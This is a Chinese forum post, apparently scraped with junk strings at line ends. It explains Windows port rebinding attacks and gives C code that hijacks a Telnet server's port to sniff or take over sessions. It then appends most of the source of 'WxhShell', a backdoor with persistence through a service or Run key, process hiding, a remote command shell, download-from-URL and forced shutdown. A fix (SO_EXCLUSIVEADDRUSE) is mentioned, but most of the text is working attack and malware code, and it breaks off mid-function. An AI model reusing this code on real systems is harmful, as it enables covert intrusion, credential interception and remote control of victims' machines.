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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ka8Y+Gs  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UXJblo#  
[wnp]'+!  
  saddr.sin_family = AF_INET; #9!7-!4pW  
: MjDcI~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {+E]c:{  
JTm'fo[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); c"Vp5lo0  
qq)}GK8K&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xdM'v{N#m  
W{tZX^|  
  这意味着什么?意味着可以进行如下的攻击: u;c WIRG  
i$PO#}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #ye`vD  
?6`B;_m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) kROIVO1|`  
mTxqcQc:7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s8>y&b.  
$D!/v)3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2b^Fz0 w4  
[WG\w j.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *q k7e[IP  
liH#=C8l*%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'Kbrz  
:-JryiI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /W BmR R  
QDJ "X  
  #include CW?Z\  
  #include h@G~' \8t  
  #include LSJ.pBl\X  
  #include    cGgfCF^`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %'2.9dB  
  int main() Z_m<x!  
  { % ym};7'&b  
  WORD wVersionRequested; -9,~b9$  
  DWORD ret; WGUw`sc\  
  WSADATA wsaData; $6pLsX  
  BOOL val; /]!2 k9u\  
  SOCKADDR_IN saddr; 'g,h  
  SOCKADDR_IN scaddr; ^4^N}7>5  
  int err; BO G.[?yx  
  SOCKET s; :,Y1#_\  
  SOCKET sc; ~i>DF`w$  
  int caddsize; %\T,=9tD\  
  HANDLE mt; 8{2  
  DWORD tid;   o9"?z  
  wVersionRequested = MAKEWORD( 2, 2 ); U{M3QOF  
  err = WSAStartup( wVersionRequested, &wsaData ); 'kcR:5B  
  if ( err != 0 ) { aXJ/"k #Tl  
  printf("error!WSAStartup failed!\n"); 6Jb0MX"AVr  
  return -1; NGl 8*Af   
  } 3,{eH6,O7M  
  saddr.sin_family = AF_INET; 7KhS{w6  
   rMbq_5}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0r1GGEW`s  
$">j~!'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); nf 8V:y4  
  saddr.sin_port = htons(23); FrXP"U}Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qfE0J;e   
  { cVL|kYVWT  
  printf("error!socket failed!\n"); 7` ;sX?R  
  return -1; W wPzm?30  
  } *0!p_Hco  
  val = TRUE; Hf]:m hH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :#^qn|{e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u5k {.&  
  { L4m Vk  
  printf("error!setsockopt failed!\n"); `HXv_9  
  return -1; zH}3J}  
  } 5buW\_G)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D~ Y6%9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n*wQgC'vw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i`r`Fj}-S-  
BL16?&RK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nb&j?./  
  { 3U{ mC}F  
  ret=GetLastError(); >U{iof<  
  printf("error!bind failed!\n"); /)Cfm1$ic  
  return -1; VbvP!<8  
  } %0C [v7\  
  listen(s,2); .F 6US<]  
  while(1) },l i'r#p  
  { Nbd4>M<  
  caddsize = sizeof(scaddr); y&,|+h  
  //接受连接请求 -|#{V.G3'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZPG,o5`%  
  if(sc!=INVALID_SOCKET) K_)~&Cu*'  
  { qs ep9z.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7b>_vtrt  
  if(mt==NULL) WK`o3ayH-  
  { ;kk[x8$  
  printf("Thread Creat Failed!\n"); & mOn]  
  break; rAu% bF  
  } G^k'sgy.  
  } 5+M,X kg  
  CloseHandle(mt); s;OGb{H7  
  } Qq`S=:}~x  
  closesocket(s); rz%~=Ca2j  
  WSACleanup(); 3LLG#l )8  
  return 0; qS/}aDk&  
  }   7 mCf*|  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5 :IDl1f5  
  { I0 ~'z f  
  SOCKET ss = (SOCKET)lpParam; Q /4-7  
  SOCKET sc; @c]KHWI  
  unsigned char buf[4096]; Gg'!(]v  
  SOCKADDR_IN saddr; .T9$O]:o  
  long num; QX<n^W  
  DWORD val; A,<5W }  
  DWORD ret; {wz)^A sy  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0>BxS9?w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   y2_rm   
  saddr.sin_family = AF_INET; 1]Xx {j<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); IAH"vHM  
  saddr.sin_port = htons(23); }S u j=oFp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MrHJ)x"hy  
  { Pl:4`oY3  
  printf("error!socket failed!\n"); %@Gy<t,  
  return -1; \s*UUODWK  
  } LVB wWlJ  
  val = 100; spfW)v/T!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =\%ER/  
  { dXh[Ea^  
  ret = GetLastError(); .8|wc  
  return -1; 6 H P 66B  
  } ),p0V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ih0a#PB8  
  { YQN:&Cls  
  ret = GetLastError(); L8h3kT  
  return -1; uMw6b=/U  
  } Nz2 VaZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 47Z3 nl?  
  { (2# Xa,pb  
  printf("error!socket connect failed!\n"); 'M~`IN`  
  closesocket(sc); *ai~!TR  
  closesocket(ss); $\NqD:fgb  
  return -1; LsWD^JE.  
  } ruGJZAhIA^  
  while(1) q* R}yt5  
  { x8@ 4lxj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 + kKanm[!v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2]mV9B   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <(jk}wa<  
  num = recv(ss,buf,4096,0); 00 x -  
  if(num>0) n/5T{NfG  
  send(sc,buf,num,0); ,<%uG6/",g  
  else if(num==0) EN2t}rua  
  break; t <` As6}  
  num = recv(sc,buf,4096,0); Nj4CkMM[3  
  if(num>0) ]oV{JR]  
  send(ss,buf,num,0); D-BT`@~l  
  else if(num==0) RdPk1?}K  
  break; i"a3POV>  
  } nm1dd{U6^  
  closesocket(ss); Wm6qy6HR  
  closesocket(sc); d78 [(;  
  return 0 ; $.Tn\4z&  
  } 5K1cPU~o_b  
M)oKtiav*  
'd$RNqe  
========================================================== x9 Z89Gwi  
XZKlE F?  
下边附上一个代码,,WXhSHELL 3Qe|'E,U  
P'qBqx[  
========================================================== =\.*CY|;N  
xZ`z+)  
#include "stdafx.h" `Qo37B2  
Mm@G{J\\  
#include <stdio.h> ~wDXjn"U&  
#include <string.h> &NBH'Rt  
#include <windows.h> BEaF-*?A  
#include <winsock2.h> yIKpyyC9H  
#include <winsvc.h> _!o8s%9be  
#include <urlmon.h> 'w=|uE {^  
!0@4*>n  
#pragma comment (lib, "Ws2_32.lib") :*KTpTa  
#pragma comment (lib, "urlmon.lib") )K{s^]Jp  
FJZ'P;3  
#define MAX_USER   100 // 最大客户端连接数 |;US)B8}*Z  
#define BUF_SOCK   200 // sock buffer ni2#20L  
#define KEY_BUFF   255 // 输入 buffer :+/8n+@#  
I.3~ctzu  
#define REBOOT     0   // 重启 V,rc&97  
#define SHUTDOWN   1   // 关机 -E?:W`!  
%FYhq:j  
#define DEF_PORT   5000 // 监听端口 5\pS8<RJ;  
7_2D4CI  
#define REG_LEN     16   // 注册表键长度 sg7h&<Xx  
#define SVC_LEN     80   // NT服务名长度 CnB[ImMs(A  
j<~Wp$\i7>  
// 从dll定义API 3FR(gr$X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -Rw3[4>@O"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '* y(F*7+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j_2g*lQ7a  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V#w$|2  
_+B y=B.'  
// wxhshell配置信息 HMF2sc$N  
struct WSCFG { \eKXsO"d  
  int ws_port;         // 监听端口 1.+O2qB  
  char ws_passstr[REG_LEN]; // 口令 >}*W$i  
  int ws_autoins;       // 安装标记, 1=yes 0=no :o8`2Z*g  
  char ws_regname[REG_LEN]; // 注册表键名 Nb$0pc1J<  
  char ws_svcname[REG_LEN]; // 服务名 UAF$bR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D-/6RVq0m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;F258/J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "BSY1?k{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IVh5SS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /GGyM]k3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UH>~Y N  
<5E'`T  
}; ch8VJ^%Ra1  
89:nF#  
// default Wxhshell configuration cIwX sx  
struct WSCFG wscfg={DEF_PORT, w317]-n  
    "xuhuanlingzhe", ="$w8iRU  
    1, A.r7 ks  
    "Wxhshell", &b#d4p6&l  
    "Wxhshell", &Gh,ROo4  
            "WxhShell Service", J`5+Zngr  
    "Wrsky Windows CmdShell Service", Z(6.e8fK  
    "Please Input Your Password: ", tAN!LI+w  
  1, c]E pg)E  
  "http://www.wrsky.com/wxhshell.exe", 9$$  Ijf  
  "Wxhshell.exe" F)cCaE;  
    }; Hy3J2p9.  
i$] :Y`3h  
// 消息定义模块 &pzL}/u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )L9eLxI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Trs~KcsD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E'\gd7t ;  
char *msg_ws_ext="\n\rExit."; t[q2 W"#.  
char *msg_ws_end="\n\rQuit."; )(G<(eiD  
char *msg_ws_boot="\n\rReboot..."; tlQ6>v'  
char *msg_ws_poff="\n\rShutdown..."; W]eILCo  
char *msg_ws_down="\n\rSave to "; V5lUh#@TN&  
iO*5ClB  
char *msg_ws_err="\n\rErr!"; tM"vIz 05  
char *msg_ws_ok="\n\rOK!"; ,Sgo_bC/|  
d=bK NA90  
char ExeFile[MAX_PATH]; Oz%6y ri  
int nUser = 0; #|E#Rkw!  
HANDLE handles[MAX_USER]; 6ZI Pe~`  
int OsIsNt; A>gZl)c  
S Q:H2vvD  
SERVICE_STATUS       serviceStatus; :0y-n.-{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ouCh2Y/_  
=Lkn   
// 函数声明 MPUyu(-%{  
int Install(void); sX6\AYF1M  
int Uninstall(void); y<6Sl6l*  
int DownloadFile(char *sURL, SOCKET wsh); ^4`x:6m  
int Boot(int flag); @\F7nhSfa  
void HideProc(void); E}4{{{r  
int GetOsVer(void); 9mHCms  
int Wxhshell(SOCKET wsl); lknj/i5L  
void TalkWithClient(void *cs); %BC%fVdP  
int CmdShell(SOCKET sock); 5 b rM..  
int StartFromService(void); Kc[^Pu  
int StartWxhshell(LPSTR lpCmdLine); 9c]$d  
H&ek"nP_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C2R"96M7q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >e!J(4.-  
KOe]JDU  
// 数据结构和表定义 Kv* 1=HES  
SERVICE_TABLE_ENTRY DispatchTable[] = ;cf$u}+  
{ (KC08  
{wscfg.ws_svcname, NTServiceMain}, fwt+$`n  
{NULL, NULL} )*}\fmOv{  
}; 0Lj;t/mG  
9)+!*(D  
// 自我安装 ^ q ba<#e  
int Install(void) iWeUsS%zpV  
{ 4OM ]8I!  
  char svExeFile[MAX_PATH]; 1 0zM8<bl  
  HKEY key; ?M4ig_  
  strcpy(svExeFile,ExeFile); UZt3Ua&J  
sRT5i9TQ  
// 如果是win9x系统,修改注册表设为自启动 WY|~E%k  
if(!OsIsNt) { CX/[L)|Ru  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s@~3L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Zuo`GP*1  
  RegCloseKey(key); Bs0~P 4^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (zsmJe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aW:*!d#  
  RegCloseKey(key); >AV9 K  
  return 0; H%n/;DW  
    } j6^.Q/{^  
  } l1zPL3"u_^  
} *H/)S5  
else { sB:e:PK  
_K?v^oM#  
// 如果是NT以上系统,安装为系统服务 -ioO8D&!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JUw|nUnl?  
if (schSCManager!=0) 0*]0#2Z  
{ r^.9 |YM5  
  SC_HANDLE schService = CreateService o]p$ w[5  
  ( K @&c  
  schSCManager, VB/75xK_  
  wscfg.ws_svcname, ~uY5~Qs9G  
  wscfg.ws_svcdisp, U !+O+(  
  SERVICE_ALL_ACCESS, ]z7pa^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0o7o;eN  
  SERVICE_AUTO_START, >1Iw!SO+  
  SERVICE_ERROR_NORMAL, [i~@X2:Al  
  svExeFile, nZj&Ma7R  
  NULL, w\ '5l k,"  
  NULL, 0KExB{K  
  NULL, _Rj bm'kC  
  NULL, xM)P=y_!M+  
  NULL 6@0? ~  
  ); H '5zl^8I  
  if (schService!=0) -"yma_  
  { / tkV/  
  CloseServiceHandle(schService); Dp*:oMATx0  
  CloseServiceHandle(schSCManager); @QJPcF"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T^8`ji  
  strcat(svExeFile,wscfg.ws_svcname); 68~]_r.a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0@' -g^PS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0p3) t  
  RegCloseKey(key); 0RdW.rZJ  
  return 0; hT =E~|O  
    } uuHs)  
  } *W |  
  CloseServiceHandle(schSCManager); F'<XB~ &o  
} 7zQGuGo(  
} l66 QgPA  
/FTP8XHwL)  
return 1; (Ms #)E  
} ?aaYka]  
%j2:W\g:  
// 自我卸载 }cW8B"_"  
int Uninstall(void) sn[<Lq  
{ QWm g#2'  
  HKEY key; Rz>@G>b:  
aAu%QRq  
if(!OsIsNt) { (8S+-k?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  iU{\a,  
  RegDeleteValue(key,wscfg.ws_regname); >PWDo  
  RegCloseKey(key); :`yW^b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !=vsY]  
  RegDeleteValue(key,wscfg.ws_regname); KdlUa^}D  
  RegCloseKey(key); %MtaWZ  
  return 0; :q1j?0 {2N  
  } bneP>Bd  
} A{{rNbCK  
} Z~ q="CA4  
else { iF##3H$c  
=v! 8i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F ww S[ 3  
if (schSCManager!=0) J=t}N+:F`b  
{ LD|T1 .  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *bcemH8f  
  if (schService!=0) ywjD.od"v  
  { 4}Os>M{k  
  if(DeleteService(schService)!=0) { v{SYz<(  
  CloseServiceHandle(schService); ] C_$zbmi  
  CloseServiceHandle(schSCManager); /#x0?d {5  
  return 0; ;cv\v(0  
  } )1 0aDTlr  
  CloseServiceHandle(schService); OJ\j6owA  
  } a$11u.\q+  
  CloseServiceHandle(schSCManager); p|>/Hz1v  
} }z-)!8vF  
} kzKQ5i $G  
W}^>lM\8  
return 1; on\ahk, y]  
} jA3Ir;a  
L@ N\8mf  
// 从指定url下载文件 Qmv8T ^+  
int DownloadFile(char *sURL, SOCKET wsh) :$^sI"hO  
{ >va9*pdJ  
  HRESULT hr; }N3Ur~X\  
char seps[]= "/"; _rUsb4r  
char *token; "y .(E7 6  
char *file; "X1{*  
char myURL[MAX_PATH]; /h!iLun7I  
char myFILE[MAX_PATH]; v Dph}Z  
#Nv0d|0\  
strcpy(myURL,sURL); G;msq=9|  
  token=strtok(myURL,seps); 5)K?:7  
  while(token!=NULL) =-uk7uZM  
  { 7:)$oH  
    file=token; uc;,JX!bN  
  token=strtok(NULL,seps); sgeME^v  
  } @ao Hz8K  
Q0_|?]v  
GetCurrentDirectory(MAX_PATH,myFILE); ;cZ]^kof  
strcat(myFILE, "\\"); bJ.68643  
strcat(myFILE, file); ps]s Tw  
  send(wsh,myFILE,strlen(myFILE),0); J}&xS<  
send(wsh,"...",3,0); 8+~|!)a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZnB|vfL?  
  if(hr==S_OK) x6~`{N1N M  
return 0; / ='/R7~  
else z:tu_5w!,  
return 1; k@C]~1  
gl6*bB=  
} ;Q8rAsf 9  
+(2mHS0_a  
// 系统电源模块 1j^FNg ~  
int Boot(int flag) Gm LKg >%  
{ d,).O  
  HANDLE hToken; R$ 40cW3`  
  TOKEN_PRIVILEGES tkp;  ^pZ\:  
=kWm9W<^  
  if(OsIsNt) { <j89HtCz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0 Pa\:^/6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RiAY>:  
    tkp.PrivilegeCount = 1; sJ/?R:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YR/rN,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n&uD=-  
if(flag==REBOOT) { @k2nID^>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }3mIj<I1;  
  return 0; ]2B=@V t,  
} a?9Ka!O4s  
else { >&N8Du*[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M&O .7B1}  
  return 0; w6l8RNRe  
} -J*jW N!  
  } {wp"zaa  
  else { owc#RW9 7  
if(flag==REBOOT) { > jvi7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3YPoObY  
  return 0; ng[ZM);  
} R`|GBVbv  
else { [2cG 7A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sHulaX{  
  return 0; b]U%|bp  
} My!<_Hp-W  
} Z:}d\~`x$%  
"#mr?h_  
return 1; p} }=li>  
} 6<<ihm+  
:Yqi5CR  
// win9x进程隐藏模块 '|i<?]U  
void HideProc(void) ff9D{$V5  
{ 'PrrP3lO_~  
{ wx!~K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y/_b~Ahn  
  if ( hKernel != NULL ) `!\`yI$!%w  
  { BI-xo}KI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @{!c [{x,T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >*%mJX/F  
    FreeLibrary(hKernel); E5G=Kh[NP  
  } jE</a %  
1Lb+ &  
return; \?e{/hXnl  
} @(:M?AO9S.  
mmG+"g$|  
// 获取操作系统版本 }l>0m  
int GetOsVer(void) &8 ~+^P1w  
{ o4CgtqRs  
  OSVERSIONINFO winfo; H`;q@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Fh4kd>1 D  
  GetVersionEx(&winfo); a$SGFA}V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 14p <0BG  
  return 1; fWywegh  
  else Zi fAn  
  return 0; T Prqb  
} Gt^Fj&^  
OXuBtW*,z+  
// 客户端句柄模块 Wo@0yF@  
int Wxhshell(SOCKET wsl) o'Byuct  
{ UmSy p\i  
  SOCKET wsh; K$dSg1t  
  struct sockaddr_in client; |A#pG^  
  DWORD myID; 4~3 N;]X  
lXS.,#lp  
  while(nUser<MAX_USER) T8 ,?\7)S9  
{ !giL~}j(R  
  int nSize=sizeof(client); y pv~F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ph'P<h:V  
  if(wsh==INVALID_SOCKET) return 1; kw>W5tNpf:  
I=)u:l c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0[JJ  
if(handles[nUser]==0) p ] V  
  closesocket(wsh); [Az<E3H"  
else /L8Q[`;.  
  nUser++; ?[}r& f  
  } Yp1;5Bbp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e:E:"elr]  
sF$$S/b  
  return 0; 25RFi24>D  
} %EuJ~;x(Mg  
qJb9JL$s  
// 关闭 socket ruG5~dm>  
void CloseIt(SOCKET wsh) ;x*_h  
{ tk@ T-;  
closesocket(wsh); +pcpb)VL  
nUser--; =1noT)gC R  
ExitThread(0); RG9YA&1ce  
} 0yhC_mI  
N|OI~boV%  
// 客户端请求句柄 $ \j/s:Y  
void TalkWithClient(void *cs) G'oMZb ({=  
{ HrH-e= j  
5J^S-K^r  
  SOCKET wsh=(SOCKET)cs; iX]Vkx  
  char pwd[SVC_LEN]; A~_*vcz  
  char cmd[KEY_BUFF]; "&s9;_9  
char chr[1]; nCZ&FNi{O~  
int i,j; 5G"DgG*<  
u:Fa1 !4JR  
  while (nUser < MAX_USER) { 2 5DXJ b^:  
iYi3x_A`  
if(wscfg.ws_passstr) { wJs #rkW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7{%_6b"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); );o2e V  
  //ZeroMemory(pwd,KEY_BUFF); ~)X yrKw  
      i=0; PT7-_r  
  while(i<SVC_LEN) { *w> dT  
E-Nc|A  
  // 设置超时 tA2Py  
  fd_set FdRead; fk5xIW  
  struct timeval TimeOut; 1 PL2[_2:  
  FD_ZERO(&FdRead); v803@9@  
  FD_SET(wsh,&FdRead); WZ\bm$  
  TimeOut.tv_sec=8; A dNQS  
  TimeOut.tv_usec=0; ^=f<WKn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WC6yQSnY&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I d6H~;  
OIpkXM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Jm2|WKH  
  pwd=chr[0]; jlvh'y`  
  if(chr[0]==0xd || chr[0]==0xa) { ' U]\]Wp  
  pwd=0; x3j)'`=15  
  break; J:<mq5[  
  } .E H&GX  
  i++; 3 q1LIM  
    } l`S2bb6uMR  
#aX+?z\4  
  // 如果是非法用户,关闭 socket )k)HQcfjD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r%`g` It  
} h0m+u}oP_H  
z'=8U@P'#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lyY\P6 X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a_jw4"Sb  
|\/`YRg>  
while(1) { gEghDO_G  
00jWs@K  
  ZeroMemory(cmd,KEY_BUFF); >KPxksFR8  
g=)B+SY'  
      // 自动支持客户端 telnet标准   %b 8ig1  
  j=0; 7+_TdDBYs  
  while(j<KEY_BUFF) { ?A4zIJ\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N|JM L  
  cmd[j]=chr[0]; `fTH"l1zn  
  if(chr[0]==0xa || chr[0]==0xd) { "Y%fk/v8  
  cmd[j]=0; eh\_;2P  
  break; S#h-X(4  
  } ~ _ ogeD  
  j++; 2/XrorV  
    } b 6kDkE  
bSa%?laS  
  // 下载文件 } Xbmb8  
  if(strstr(cmd,"http://")) { j<"@ Y7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /e/%mo  
  if(DownloadFile(cmd,wsh)) k P]'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _}bs0 kIz  
  else  cs+;ijp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b |SDg%e  
  } Q]/ZVcoqo  
  else { s fD@lW3  
S vTd#>ke  
    switch(cmd[0]) { ~Up5+7k@  
  -!o*A>N  
  // 帮助 Pz\4#E]  
  case '?': { (G1KMy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8jBrD1  
    break; olm0O  (9  
  } f.yvKi.Cm  
  // 安装 k^VL{z:EWB  
  case 'i': { Q$Q>pV;uH  
    if(Install()) 6 zyxGJ(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]A? (OA  
    else o,r72>|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?04jkq&  
    break; 5#275Hyv  
    } GZefeBi  
  // 卸载 rY?]pMp  
  case 'r': { v2Ft=_*G|  
    if(Uninstall()) s9#WkDR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ys/U.e|)!  
    else 7%j1=V/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1U)U{i7j  
    break; h(~@ n d{  
    } Lm-f0\(  
  // 显示 wxhshell 所在路径 dDu8n+(8 L  
  case 'p': { > J.q3  
    char svExeFile[MAX_PATH]; _xWX/1DY  
    strcpy(svExeFile,"\n\r"); Z=+Tw!wR>  
      strcat(svExeFile,ExeFile); @23?II$=@  
        send(wsh,svExeFile,strlen(svExeFile),0); I K9plsd*  
    break; Oj=g;iY  
    } wZUZ"Y}9  
  // 重启 $.Ia;YBf  
  case 'b': { eoj(zY3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D6I-:{ws  
    if(Boot(REBOOT)) m|uVmg!*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HfOaJ'+e<  
    else { YD9|2S!G  
    closesocket(wsh); @vc9L  
    ExitThread(0); <lkt'iT=Sz  
    } A!$;pwn0  
    break; "cZ){w  
    }  *KV^ X(/  
  // 关机 >sm~te$5  
